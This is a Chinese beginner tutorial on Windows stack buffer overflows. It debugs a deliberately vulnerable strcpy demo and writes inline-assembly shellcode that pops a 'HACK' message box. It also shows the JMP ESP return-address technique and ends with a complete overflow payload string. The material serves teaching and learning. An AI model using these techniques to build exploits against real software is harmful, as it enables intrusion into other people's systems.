*本文原创作者:万年死宅(杨瑞),本文属i春秋的原创奖励计划,未经许可禁止转载!
Stack Buffer Overflow On Windows Part 1
1.介绍
本篇文章旨在带领学习二进制安全的新手朋友在Stack Buffer Overflow在Windows上的技术实现从0到1的这个过程。
笔者也希望能够通过这些技术分享帮助更多的朋友走入到二进制安全的领域中。事先声明,笔者是菜鸟,写的不对、不恰当或者不好的地方请各位包容,也欢迎大家通过i春秋论坛(bbs.ichunqiu.com)来与笔者交流,笔者的ID为“万年死宅”。
2.文章拓扑
由于本篇文章的篇幅略长,所以笔者在这里放一个文章的拓扑,让大家能够在开始阅读文章之前对整个文章的体系架构有一个宏观的了解。
.\01.介绍
.\02.文章拓扑
.\03.从栈开始
.\04.ESP、EBP寄存器与栈
.\05.函数调用与返回
.\06.开始溢出
.\07.深入分析
.\08.如何利用
.\09.获取API地址
.\10.编写shellcode
.\11.利用失败
.\12.获取JMP ESP地址
.\13.Exploit It!
.\14.结语
3.从栈开始
我们在文章的最开头先来引入一些基本的概念,也是后面成功理解这种漏洞的一些必要概念。
首先,就是这个“栈”。栈其实是一种数据结构,它遵从先进后出的原则。这个先进后出的意思也很简单,就是说先存储进去的数据,会被放在最里边,而后面存入的,则依次向外,所以最先进去的,最后才能出来。
我们还是给一张图,帮助大家理解。但是呢,这个图是笔者自己用微软的画图软件画的,希望大家不要吐槽,毕竟能吐槽的地方太多了。
通过这张图,相信大家也能够更加容易的理解栈这个东西了。
4.ESP、EBP寄存器与栈
接下来,我们来聊一聊ESP、EBP寄存器和栈之间的一些关系。我们这次通过实验来学习这个知识,同时通过这个实验也可以加强大家对栈的理解。
我们使用这样一个程序来观察栈与ESP和EBP寄存器的关系:
#include “stdAfx.h”
int main()
{
_asm{
mov eax,0x41414141
mov ebx,0x61616161
push eax
push ebx
pop eax
pop ebx
}
return 0;
}
zusheng:解释一下上面这段代码的意思,_asm很简单就是使用汇编代码。mov eax,0x41414141 这段代码是将十六进制数据0x41414141赋值给寄存器eax。mov ebx,0x61616161 这段代码是将十六进制数据0x61616161赋值给寄存器ebx。push eax 把eax寄存器中的内容入栈。push ebx 把ebx寄存器中的内容入栈。pop eax 出栈操作,从栈中取出一个值赋给寄存器eax。PS:上面文章介绍到了出栈只有一个出口,只能从下往上一个个有序的出去,而入栈操作也只能从上而下一个个进来。所以当前出站的数据就是在栈顶的数据,也就是前面十六进制数据0x61616161并且赋值给了寄存器eax。pop ebx 出栈操作,从栈中取出一个值赋给寄存器ebx。
将这个程序编译成EXE文件后(该EXE文件在文末提供下载),我们使用IDA来载入这个程序,找到main函数的位置,如图:
可以看到地址是00401010,我们使用Immunity debugger来进行动态分析,载入程序,跳到main函数:
找到我们的内联汇编,如图:
我们在第一个指令处下一个断点,也就是00401028处下断,F9过去。我们步过两条MOV指令,来到00401032,也就是第一个push的地方。我们注意观察ESP寄存器的值,此时是0012FF34,如图:
接着,我们步过,入栈一个数据,如图:
注意ESP:
从0012FF34变成了0012FF30,也就是每次PUSH,我们的ESP寄存器都会做如下操作:
ESP = ESP - 4
而ESP其实是指向栈顶的,栈顶也就是我们栈的唯一出口,任何是后执行POP指令都是把在栈顶的数据出栈。那我们提到的另一个寄存器,可想而知就是指向栈底的了,也就是EBP寄存器。
我们来看看当前EBP寄存器指向什么地方:
可以看到是0012F80,也就是说,当前的栈的区域就是从0012FF30到0012FF80的这段内存所构成的。
出栈和入栈都是从栈顶出入,当数据进入栈的话指向栈顶的ESP就得减4,而数据入栈则是ESP加4。
5.函数调用与返回
我们还是拿个Demo来说事(同样会在文末提供下载),代码如下:
#include "stdafx.h"
#include "stdio.h"
void test(int a,int b,int c)
{
printf("%d,%d,%d",a,b,c);
}
int main()
{
test(1,2,3);
_asm{
mov eax,0x41414141
}
return 0;
}
我们还是用IDA来确定main函数的位置:
通过两次交叉引用找到了main函数,我们记下地址00401080,我们用Immunity Debugger来加载程序,跳到这个地址:
可以看到我们用内联汇编留的标志,那么上面这个在0040109E处的CALL就是CALL的test()函数了。
我们可以看到调用test()函数的过程如下:
首先是PUSH参数进栈,显示3,然后是2,然后是1。我们回过头来看C代码:
test(1,2,3);
我们不是先传的1,最后传的3吗?这是因为这个函数的调用约定是stdcall,stdcall调用约定的函数的参数都是从右到左依次入栈的。这就是关于调用,我们需要了解的。
接着,我们先来聊一个简单的问题。
我们在C语言的所谓的函数,其实就是子程序而已。也就说,我们调用函数,其实就是让程序从主程序,也就是main调到子程序中去执行子程序的代码。
但是我们来看下图这个程序:
我们在main中调用了doSomething()子程序,当doSomething子程序执行完后就会回到main函数,继续执行printf()对吧?
那我们接下来的注意力就要放到这个函数返回上了,也就是我们的函数具体是如何返回的。
我们继续使用Demo2.exe来调,刚才我们已经来到了main函数,接着,我们在CALL test之前断下,F9过去,我们来看当前的栈顶:
就是我们的三个参数,最底下是第一个PUSH进去的,我们接下来进入这个CALL注意栈窗口。按下F7,如图:
可以看到当前的栈顶存储这004010A3,这个地址是什么?我们跳过去看看,但是在跳过去之前最好记下当前地址,也就是00401005,如图:
我们有了记录就能放心大胆的跳到当前栈顶的那个地址了,如图:
看到这里,仿佛已经对于函数返回的细节有了一个了解。
我们回到test函数内部,也就是我们记录的地址:
可以看到就是JMP到00401020,我们F8过去,如图:
如此,我们就跳入了test函数中了,我们不用关心其他细节,往下翻,翻到test函数的retn指令,如图:
我们在这个retn上面下断,F9过来,注意观察栈窗口,如图:
我就问你,此时的栈顶是什么?是不是很熟悉的感觉,不确定的朋友跳过去看看。
到这里,我们几乎感觉真相已经浮出水面了,接下来就是最后一点了。
我们截图保存当前的寄存器情况,如图:
然后,步过retn,对比前后的寄存器情况,如图:
可以看到,其实retn指令的操作就是将retn时的栈顶的数据出栈到EIP寄存器,用伪代码表示就是:
pop eip
而这个在retn时处于栈顶的数据,我们一般称它为“返回地址”。
这个概念呢,希望大家好好揣摩,这对于我们的栈溢出的利用是相当重要的。
6.开始溢出
接下来,我们就开始来学习Stack Buufer Overflow。首先,我们依然准备了一个Demo(依然会在文后提供下载),代码如下:
#include "stdAfx.h"
#include "string.h"
char exp[] = "ABCDEFGH";
int main()
{
char buffer[8];
strcpy(buffer,exp);
return 0;
}
我们后面的实验也均在这个源文件的基础上进行修改,我们编译通过之后运行,无任何问题,为什么呢?
因为这个程序本就没有问题,我们可以看到exp字符数组的长度是8,而buffer也是,自然能够存下。
接下来,我们修改源文件的exp数组,改成:
char exp[] = "ABCDEFGHAAAAAAAAAAAA";
在后面加十个A,这样的话,buffer数组自然就没法存下了,我们编译运行,如图:
我就想问一下,这个0x41414141是什么啊?别告诉我你不知道?其实0x41是字符A的ASCII码,也就是说,我们的exp数组里的十个A对我们的程序做了什么不为人知的事情,那怎么办呢?
很简单,调试嘛,我们还是用IDA和Immunity Debugger配合,来分析发生了什么神奇的事情。
我们首先使用IDA找出出该程序的main函数的地址,如图:
就是00401010,我们用Immunity Debugger载入,跳到这个地址,如图:
然后,我们在main函数开头下个断点,F9过来,然后一直单步步过,直到retn我们都未发现异常,如图:
但是,此时,我们来看我们的retn时的栈顶:
bingo!返回地址被覆盖了,被覆盖成了41414141,也就是说此时返回的话EIP会指向41414141处,调到这个地方去执行代码,我们跳一下看看:
可以看到EIP果然不计后果的指向了41414141,但是该片内存什么都没有。所以导致了如下错误:
这下知道发生了什么了吧。这也是Stack Overflow的利用点——覆盖返回地址。
7.深入分析
经过上面的分析,我们只是从表面上了解了是我们的exp数组的长度超过了buffer的长度,导致多出来的A覆盖到了关键的返回地址,导致程序在返回的时候跳到了41414141这个地址。
但是,我们还是不清楚这其中发生了什么。于是,我们还应该对这个过程进行更加深入的分析。我们可以点击Immunity Debugger的debug-restart来重新分析。Restart之后我们再次跳到00401010,如图:
我们把关注点放到strcpy函数上,因为正是strcpy将exp的值塞进buffer里的,所以,我们应该关注strcpy函数,如图:
我们在这里下一个断点,F9过来,观察函数的参数:
根据我们之前学习的stdcall的函数调用约定来看,当前栈顶的数据就是调用strcpy函数的第一个参数,下面则是第二个参数。
也就是说,是要将00422310这个地址的数据放入0012FF78这个空间中,那么,我们就应该将注意放到0012FF78这个地址上了,我们将这个地址放在数据窗口中跟随,如图:
接着,我们单步步过strcpy的CALL,看0012FF78的内存:
可以看到,这段内存已经被我们的41淹没了,此时,我们再次restart,再次来到main函数的第一条指令,观察栈窗口,如图:
可以看到0012FF84的位置就存储着我们的main函数的返回地址,然而,strcpy过后这个位置存储的数据已经成了如下图这样:
这就是这个程序的情况了,也就是说我们得从0012FF78一直覆盖到0012FF80就到了返回地址,后面的四个字节就是返回地址了。
所以,我们的exp数组的前8个字节填充buffer,跟着的4个字节覆盖到返回回地址之前,最后四个字节自然就是返回地址。
如此,我们就能随意的控制main函数返回的地址了。例如,我们让函数返回到66666666这个地址,就只需要将exp改为:
我们可以试试看,如图:
嘿嘿,和我们预想的一样,成功将返回地址覆盖为了66666666。
8.如何利用
接下来到了学习漏洞最有趣的环节,HOW TO EXPLOIT?嘿嘿,只要解决这个问题,我们就能通过漏洞来做些EVIL的事情了。
我们首先思考一下,目前,我们能够控制EIP指向我们想要的任意地址,可以没有地址上有我们想要的代码啊。
怎么办呢?其实办法还是有的,这些办法都是来自于前人的总结(向开拓者致敬!)
先说下最简单的办法,我们先回想一下,我们可以控制的可不止是EIP,我们连控制EIP都是间接的基于栈来控制的,其实我们能够直接控制的是栈。
我们可以进行如下布局,如图:
直接在返回地址下面放置我们的shellcode覆盖返回地址为我们shellcode的起始地址。
这样的话,在main函数返回的时候,就能跳到我们的shellcode中执行我们的shellcode了。
9.获取API地址
目前,我们已经解决了如何Exploit的问题,那么现在的当务之急就是获取API在DLL中的地址,因为这个东西是我们编写shellcode所必备的东西。
那么我们就可以使用这样一个程序来获取,代码如下:
/*对于这个程序的实现死宅在这里特别感谢k0shl和IEEE.两位大牛。由于死宅的C语言很菜,
而且国内网上的资料坑人。很多地方都不是很明白,在这样的时刻是k0shl和IEEE这两位
乐于助人的大牛为死宅讲了函数指针和两个API的用法。感谢。*/
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
void Usage()
{
char *syb = "=";
char tag[60];
for(int i=0;i<60;i++)
{
tag = *syb;
}
printf("%s",tag);
printf("\nAPIGeter\n[Author]bbs.ichunqiu.com\n[Usage]APIGeter [DLLName] [APIName]\n");
printf("%s",tag);
}
int main(int argc,char* argv[])
{
if(argc!=3)
{
Usage();
return 1;
}
HINSTANCE DLLAddr = LoadLibrary(argv[1]);
DWORD APIAddr = (DWORD)GetProcAddress(DLLAddr,argv[2]);
printf("[APIGeter]Welcome to use the APIGeter\n[Author]bbs.ichunqiu.com\n");
printf("DLL-Name:%s\nAddress:0x%x\n",argv[1],DLLAddr);
printf("API-Name:%s\nAddress:0x%x\n",argv[2],APIAddr);
return 0;
}
很简单的东西,但是却坑了死宅半天。
有了这个小工具——APIGeter(文末放出下载),大家再也不用怕C语言不好了。
直接如下图:
就能轻松的获取API的地址了。
关于这个程序,相信会C语言的朋友都能看懂了(网上的代码用函数指针,不知道作者怎么想的)
10.编写shellcode
接下来,我们要做的就是编写shellcode了。笔者给大家选取了一种较为简单的方式进行编写。
就是使用内联汇编,我们只需要在vs中用_asm{}把汇编代码写进去就可以了,首先,我们使用APIGeter获取MessageBoxA在user32.dll中的地址,是0x77d507ea,如图:
然后我们写这样一个程序,代码如下:
#include "stdafx.h"
#include "windows.h"
int main()
{
LoadLibrary("user32");
_asm{
//assembly code
}
return 0;
}
先解释一下,如果不LoadLibrary的话,这个DLL是不会链接到我们程序的,从而无法调用MessageBoxA这个API。
当然,其实也有办法可以在DLL未被链接的时候导入的,但是这个就留在后面来说。在这里,死宅为了降低实验的难度,所以就在源程序中就Load了我们需要的DLL。
然后就是用汇编来写了,代码如下:
xor ebx,ebx ;ebx = 00000000
push ebx ;入栈ebx
push 0x4b434148 ;入栈字符串HACK
mov eax,esp ;把当前栈顶的地址给eax
push ebx ;入栈NULL
push eax ;入栈字符串HACK\NULL
push eax ;同上
push ebx ;入栈NULL
mov eax,0x77d507ea ;将MessageboxA的地址给eax
call eax ;call MessageBoxA
然后代码就成了这样:
#include "stdafx.h"
#include "windows.h"
int main()
{
LoadLibrary("user32");
_asm{
xor ebx,ebx
push ebx
push 0x4b434148
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x77d507ea
call eax
}
return 0;
}
编译运行一下:
但是当我们点击确定之后,如图:
一个错误出来了,这是因为我们的程序没能正常的退出,所以,我们还需要ExitProcess这个API,我们使用APIGeter搜一下:
可以看到是0x7c81d20a。我们记录一下,加入这段汇编:
xor eax,eax ;eax清零
push eax ;入栈0
mov eax,0x7c81d20a ;通过eax间接调用ExitProcess
call eax ;上面说了
综合一下,代码如下:
#include "stdafx.h"
#include "windows.h"
int main()
{
LoadLibrary("user32");
_asm{
xor ebx,ebx
push ebx
push 0x4b434148
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x77d507ea
call eax
xor eax,eax
push eax
mov eax,0x7c81d20a
call eax
}
return 0;
}
然后编译运行就没问题了,接下来,我们要做的就是提取shellcode。
我们使用VC来提取shellcode,我们在LoadLibrary处下一个断点,然后Go,被断下。
然后右键-Go To Disassembly,如图:
来到反汇编窗口,可以看到我们的汇编代码就在这里,如图:
从0040103C开始的,接着,我们点击右上角的Memory,如图:
就会弹出内存窗口,如图:
我们在上图的地址的输入框输入我们的汇编代码的开头的地址0040103C,回车一下:
可以看到,我们的shellcode已经在Memory窗口中了,开头就是33DB53,结尾是什么呢?
我们看一下:
可以看到是FFD0,我们在Memory窗口看下:
就是这一段,我们将它复制出来(按Ctrl+C),粘贴过来就是如下这样:
33 DB 53 68 48 41 43 4B 8B C4 53 50 50 53 B8 EA 3跾hHACK嬆SPPS戈
0040104C 07 D5 77 FF D0 33 C0 50 B8 0A D2 81 7C FF D0
我们把地址和ASCII码删了就是如下这样:
33 DB 53 68 48 41 43 4B 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 33 C0 50 B8 0A D2 81 7C FF D0
我们复制这一段到记事本里,点击编辑-替换,弹出如下窗口:
查找内容输入一个空格,替换为输入\x,然后点击全部替换就成如下这样了:
33\xDB\x53\x68\x48\x41\x43\x4B\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0\x33\xC0\x50\xB8\x0A\xD2\x81\x7C\xFF\xD0
但是还有一点问题,就是在开头的第一个机器码的33前面还没有\x,我们给它加上,就成了完整的shellcode,如下:
\x33\xDB\x53\x68\x48\x41\x43\x4B\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0\x33\xC0\x50\xB8\x0A\xD2\x81\x7C\xFF\xD0
11.利用失败
我们已经得到了亲爱的shellcode,现在就可以开始利用这个漏洞了。
我们修改前面的溢出代码来继续实验,前面的溢出代码如下:
在main函数里增加一句LoadLibrary(“user32”)来链接user32.dll方便调用MessageBoxA。然后包含windows.h头文件。最后修改exp就行了,给exp的结尾处连上我们的shellcode,如图:
然后,我们放入IDA获取main函数的起始地址,然后用Immunity Debugger来调到起始地址,如图:
我们运行到main函数的第一行代码处,观察栈窗口:
可以看到0012FF84的位置存储着main函数的返回地址,这也是strcpy后会被66666666淹没的位置。我们在数据窗口中跟随。
然后找到strcpy的CALL,如图:
我们在这里断下,然后F9过来,然后步过这个CALL,看数据窗口,如图:
看到了我们的shellcode吧,已经进入我们的程序了以33DB开头FFD0结尾。开始的地址是0012FF88。我们在反汇编窗口看一下,程序对不对,如图:
可以看到,我们的shellcode安然无恙的放在了0012FF88这个地址处,我们接下来要做的就是修改66666666这个返回地址为0012FF88来在main函数返回的时候执行我们的shellcode。
修改过后,我们的exp数组就成下面这样了:
char exp[] = "AAAAAAAA" //buffer
"AAAA" //before return address
"\x88\xFF\x12\x00" //return address
"\x33\xDB\x53\x68\x48\x41\x43\x4B"
"\x8B\xC4\x53\x50\x50\x53\xB8\xEA"
"\x07\xD5\x77\xFF\xD0\x33\xC0\x50"
"\xB8\x0A\xD2\x81\x7C\xFF\xD0"; //shellcode
反序是因为是小端字节序。我们编译运行,如图:
what!我们的MessageBox呢!?我们的ExitProcess呢!?
这是发生了什么!?
其实这是典型的BadCode问题,我们的strcpy函数在遇到\x00的时候就会停止copy了,而我们的exp数组却因为要覆盖返回地址为0012FF88而使用了00。
所以被截断了(玩WEB的小伙伴就更清楚了,00截断,嘿嘿),那怎么办呢?
我们搞了那么半天,居然不能成功吗!?
自然不是,死宅说了那么大一堆还不是为了引出下文,嘿嘿。
我们来说第二种利用方式,也就是使用jmp esp指令来跳入shellcode,使得我们的shellcode执行。
这是什么原理呢?我们其实可以来看一下一个正常的程序在retn之后的第一条指令的位置的时候,ESP是什么。
我们使用我们的第一个测试程序来看,我们来到测试程序的main函数的最后一行指令,也就是retn这个地方,断下,F9过来,观察ESP的值和栈:
我们可以看到此时的ESP指向0012FF84,栈顶正是返回地址。
然后,我们返回,来到00401189处,看此时的ESP和栈:
可以看到,和我们最前面说的一样retn就相当于pop eip。
而每一个pop指令都会时ESP加4。而此时ESP+4的位置也是我们可控的,所以只要在内存中找到一处存储这JMP ESP指令的地址就可以了。到时候把返回地址覆盖成JMP ESP的地址,在retn后就会执行JMP ESP,而那时候的ESP的位置正好是我们可控的。
这就是JMP ESP执行恶意代码的原理。
12.获取JMP ESP的地址
接下来,我们要做的事情就是获取JMP ESP的地址,我们还是写一个程序来实现,这个简单的过程。
下面的代码就能实现在User32.dll中搜索Jmp Esp的地址(从网上找到的):
#include "stdAfx.h"
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"
int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("user32.dll");
if(!handle)
{
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}
原理很简单,就是从Load的user32.dll的起始地址往后搜索JMP ESP的机器码,搜到就显示出来,直到出现异常才停止搜索。
这是网上的代码,此处也给出一个工具——SearchTransfer(死宅自己写的辣鸡工具,就不拿来丢人现眼了,文末放出下载)
我们使用SearchTransfer来搜索位于user32.dll的JMP ESP地址,如图:
搜到很多,随意找个地址,比如第一个0x77d29353。由于是小端的字节序所以倒过来就是\x53\x93\xd2\x77。
13.Exploit It!
现在,我们已经有了JMP ESP的地址了,接下来就覆盖返回地址为\x53\x93\xd2\x77吧,嘿嘿。
我们修改exp如下:
char exp[] = "AAAAAAAA" //buffer
"AAAA" //before return address
"\x53\x93\xd2\x77" //return address
"\x33\xDB\x53\x68\x48\x41\x43\x4B"
"\x8B\xC4\x53\x50\x50\x53\xB8\xEA"
"\x07\xD5\x77\xFF\xD0\x33\xC0\x50"
"\xB8\x0A\xD2\x81\x7C\xFF\xD0"; //shellcode
编译,运行,如下:
成功了!
我们来用Immunity Debugger来分析一下,一切是否和我们预想的一样。
用Immunity Debugger载入,来到main函数,如图:
依然是我们熟悉得不能在熟悉的一切,看下当前的栈顶,也就是返回地址:
返回地址存在0012FF84的位置,目前的值为00401279,数据窗口跟随。
来到strcpy的CALL,断下,如图:
F8步过,看数据窗口:
到目前为止,一切都和我们预想的一样。接着来到retn,看ESP和栈:
此时retn就会跳到77D29353处,然后ESP应该加4指向0012FF88,我们步过retn,如图:
这个地址确实是JMP ESP
然后看ESP:
确实是加4了,而此时的ESP就是shellcode的地址,F8就跳到了shellcode,如图:
这就是Stack Overflow的从分析到利用的过程了。
14.结语
其实讲真的,写这篇文章真的很累,我在WORD里面是整整26页,过程中要在调试的同时截图,想措辞,这样写了一整天,从早上起床到晚上睡觉,真的非常的累。
但是,同时也非常值得,因为这篇文章将帮助很多人实现二进制安全从0到1的过程。
每一次成功的弹出MessageBox的时候,都值得我们铭记。
但是,绝对不能自满,因为做技术的必须要懂得敬畏。这样才能不忘初心,也才能方得始终。
最后以死宅很喜欢的一句话结尾吧。道阻且长,行则将至!
*后记:这篇文章很长,讲真的,非常的难排版,全篇75张图片。非常感谢zusheng哥的帮助,和i春秋的小编们。没有他们,这篇文章很难完成排版,谢谢他们。(特别是zusheng哥)。